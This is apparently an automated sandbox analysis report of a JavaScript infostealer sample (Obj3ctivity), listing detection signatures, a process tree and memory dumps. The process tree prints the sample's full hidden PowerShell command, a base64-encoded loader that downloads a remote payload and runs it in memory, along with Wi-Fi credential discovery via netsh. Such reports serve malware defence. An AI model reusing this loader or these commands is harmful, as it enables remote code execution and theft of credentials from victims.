Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260126-en
  • resource tags

    arch:x64arch:x86image:win11-20260126-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/01/2026, 12:24

General

  • Target
    Grp_Details.js
  • Size 1.3MB
  • Sample260127-pk9v8aev3f
  • SHA256 ab66caa36fd3e5a7bcf7644a7a8e4379ae87a6e80a3ab77dc0a56b430f5a160b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Obj3ctivity Stage1 1 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity family
  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Grp_Details.js
    1⤵
      PID:5968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABhAGYAdABlAHIAYgByAGEAaQBuACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZgB0AGUAcgBiAHIAYQBpAG4ALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJABhAGYAdABlAHIAYgByAGEAaQBuAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYQBmAHQAZQByAGIAcgBhAGkAbgAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABpAHMAbwBtAGUAcgBvAHUAcwAgAD0AIAAnACMAIQAhAH4AJQA6AC8ALwByAGUAJQAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeAB4AHkAeAB+AHEAeABnAC8AaQBtAGEAZwBlAC8AdQB+AGwAbwBhAGQALwB2ADEANwA2ADkAMQA4ADcANwA1ADMALwBvAH4AIQBpAG0AaQB6AGUAZABfAE0AUwBJAF8AbgAhACMAZwB5AHoALgBqAH4AZwAnAC4AUgBlAHAAbABhAGMAZQAoACcAIwAnACwAIAAnAGgAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAIQAnACwAIAAnAHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAfgAnACwAIAAnAHAAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAJQAnACwAIAAnAHMAJwApADsAJABwAGwAZQBhAHMAZQAgAD0AIAAkAGEAZgB0AGUAcgBiAHIAYQBpAG4ALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBzAG8AbQBlAHIAbwB1AHMAKQA7ACQAaABvAGwAZABlAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAcABsAGUAYQBzAGUAKQA7AGkAZgAgACgAJABoAG8AbABkAGUAcgBzACAALQBtAGEAdABjAGgAIAAnAEIAYQBzAGUAUwB0AGEAcgB0AC0AKAAuACoAPwApAC0AQgBhAHMAZQBFAG4AZAAnACkAIAB7ACAAIAAkAHAAcgBvAG0AcAB0AGkAdAB1AGQAZQAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABwAHIAbwBvAGYAcgBlAGEAZABlAHIAcwAgAD0AIABbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABwAHIAbwBtAHAAdABpAHQAdQBkAGUAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBADkAQQBEADAAQQBRAFEAQgBrAEEAQQBvAEEARABRAEEAMABBAEYASQBBAGIAZwBCAE0AQQBHAGsAQQBTAGcAQQB5AEEARQB3AEEATQBnAEIAVwBBAEUAYwBBAFcAZwBCADEAQQBFAGsAQQBhAGcAQgBqAEEASABVAEEAUQBRAEIANgBBAEUANABBAE0AZwBCAGoAQQBHAG8AQQBXAGcAQgByAEEARgBvAEEAYQBnAEIAYQBBAEcAawBBAFMAZwBCADYAQQBFADAAQQBOAFEAQgBWAEEARwAwAEEAVABnAEEAMQBBAEcAcwBBAFIAQQBCAE8AQQBHADAAQQBaAEEAQgBFAEEARQA0AEEAYQB3AEIAYQBBAEUAUQBBAFQAdwBBAHgAQQBGAFUAQQBWAEEAQgBOAEEARABJAEEAUgBRAEEAeQBBAEUAMABBAGIAUQBCAGsAQQBIAG8AQQBUAFEAQgAwAEEARQBrAEEAVgB3AEIAawBBAEgAYwBBAE8AUQBCADUAQQBFAHcAQQBOAGcAQgBOAEEARQBnAEEAWQB3AEEAdwBBAEYASQBBAFMAQQBCAGgAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAYwB3AEIAYwBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEARgB3AEEAUgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEASABNAEEAWABBAEEAbgBBAEMAdwBBAEoAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEARgA4AEEAUgBnAEIAcABBAEcAdwBBAFoAUQBBAG4AQQBDAHcAQQBKAHcAQgBOAEEASABNAEEAWQBnAEIAMQBBAEcAawBBAGIAQQBCAGsAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAEEAQgB1AEEAQwA0AEEAWgBBAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEkAQQBaAEEAQgBoAEEASABBAEEAYwBBAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBZAFEAQgAwAEEASABRAEEAWQBRAEIAagBBAEcAZwBBAGIAUQBCAGwAQQBHADQAQQBkAEEAQgB6AEEAQwA4AEEATQBRAEEAeABBAEQAZwBBAE0AUQBBAHoAQQBEAGMAQQBPAEEAQQA1AEEARABBAEEATQBnAEEAeABBAEQARQBBAE4AZwBBAHcAQQBEAEUAQQBOAGcAQQB5AEEARABJAEEATQBnAEEAdgBBAEQARQBBAE4AQQBBAHoAQQBEAGcAQQBOAGcAQQA0AEEARABJAEEATgBBAEEAeQBBAEQAQQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB4AEEARABBAEEATgBRAEEAeQBBAEQARQBBAEwAdwBCAHoAQQBHAGcAQQBhAFEAQgB0AEEAQwA0AEEAZABnAEIAaQBBAEgATQBBAFAAdwBCAGwAQQBIAGcAQQBQAFEAQQAyAEEARABrAEEATQBRAEEAMwBBAEcATQBBAE4AQQBCAGwAQQBHAEUAQQBKAGcAQgBwAEEASABNAEEAUABRAEEAMgBBAEQAawBBAE0AUQBBADIAQQBEAGMAQQBNAHcAQQAyAEEARwBFAEEASgBnAEIAbwBBAEcAMABBAFAAUQBBADUAQQBHAEUAQQBZAGcAQQAyAEEARwBZAEEATQBRAEEAeQBBAEcAVQBBAFoAZwBBAHgAQQBHAFkAQQBOAEEAQgBsAEEARABnAEEATQB3AEEAegBBAEQAYwBBAE4AQQBBADIAQQBEAGMAQQBaAFEAQQB5AEEARABnAEEATQBBAEIAaQBBAEQAYwBBAFkAdwBCAGgAQQBHAE0AQQBPAFEAQQB6AEEARwBZAEEATgBRAEEAMwBBAEQAYwBBAE0AZwBBAHkAQQBEAEUAQQBaAEEAQQB6AEEARwBZAEEAWgBnAEEAdwBBAEQAZwBBAE0AUQBBADUAQQBHAFUAQQBNAGcAQgBsAEEARwBJAEEATQB3AEEAMABBAEQAVQBBAE4AQQBCAG0AQQBEAEkAQQBOAGcAQQB6AEEARABFAEEATQB3AEEAeQBBAEQATQBBAE4AUQBBADEAQQBDAFkAQQBKAHcAQQBzAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFYAUQBCAHoAQQBHAFUAQQBjAGcAQgB6AEEARgB3AEEAVQBBAEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBYAEEAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBjAHcAQgBjAEEAQwBjAEEATABBAEEAbgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBYAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEMAYwBBAEwAQQBBAG4AQQBHAG8AQQBjAHcAQQBuAEEAQwB3AEEASgB3AEEAeABBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEARgBRAEEAWQBRAEIAegBBAEcAcwBBAFgAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEQAQQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5372
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:3528
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:1036
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5300
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:5084
          • C:\Windows\SysWOW64\findstr.exe
            findstr All
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3372
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3068

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_xhb5y0fz.izy.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhb5y0fz.izy.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3528-39-0x0000000006730000-0x00000000067A6000-memory.dmp

          memory/3528-15-0x0000000005330000-0x0000000005396000-memory.dmp

          memory/3528-56-0x0000000007670000-0x0000000007B9C000-memory.dmp

          memory/3528-55-0x00000000051B0000-0x00000000051C0000-memory.dmp

          memory/3528-40-0x0000000006A30000-0x0000000006AC2000-memory.dmp

          memory/3528-11-0x0000000000400000-0x00000000004E6000-memory.dmp

          memory/3528-16-0x00000000059F0000-0x0000000005A02000-memory.dmp

          memory/3528-38-0x0000000006B90000-0x0000000007136000-memory.dmp

          memory/3528-14-0x00000000051B0000-0x00000000051C0000-memory.dmp

          memory/3528-17-0x0000000006230000-0x00000000063F2000-memory.dmp

          memory/5372-7-0x000001DBC9820000-0x000001DBC9842000-memory.dmp

          memory/5372-1-0x000001DBC9860000-0x000001DBC9870000-memory.dmp

          memory/5372-10-0x000001DBCC970000-0x000001DBCC9E0000-memory.dmp

          memory/5372-9-0x000001DBC9860000-0x000001DBC9870000-memory.dmp

          memory/5372-0-0x000001DBC9860000-0x000001DBC9870000-memory.dmp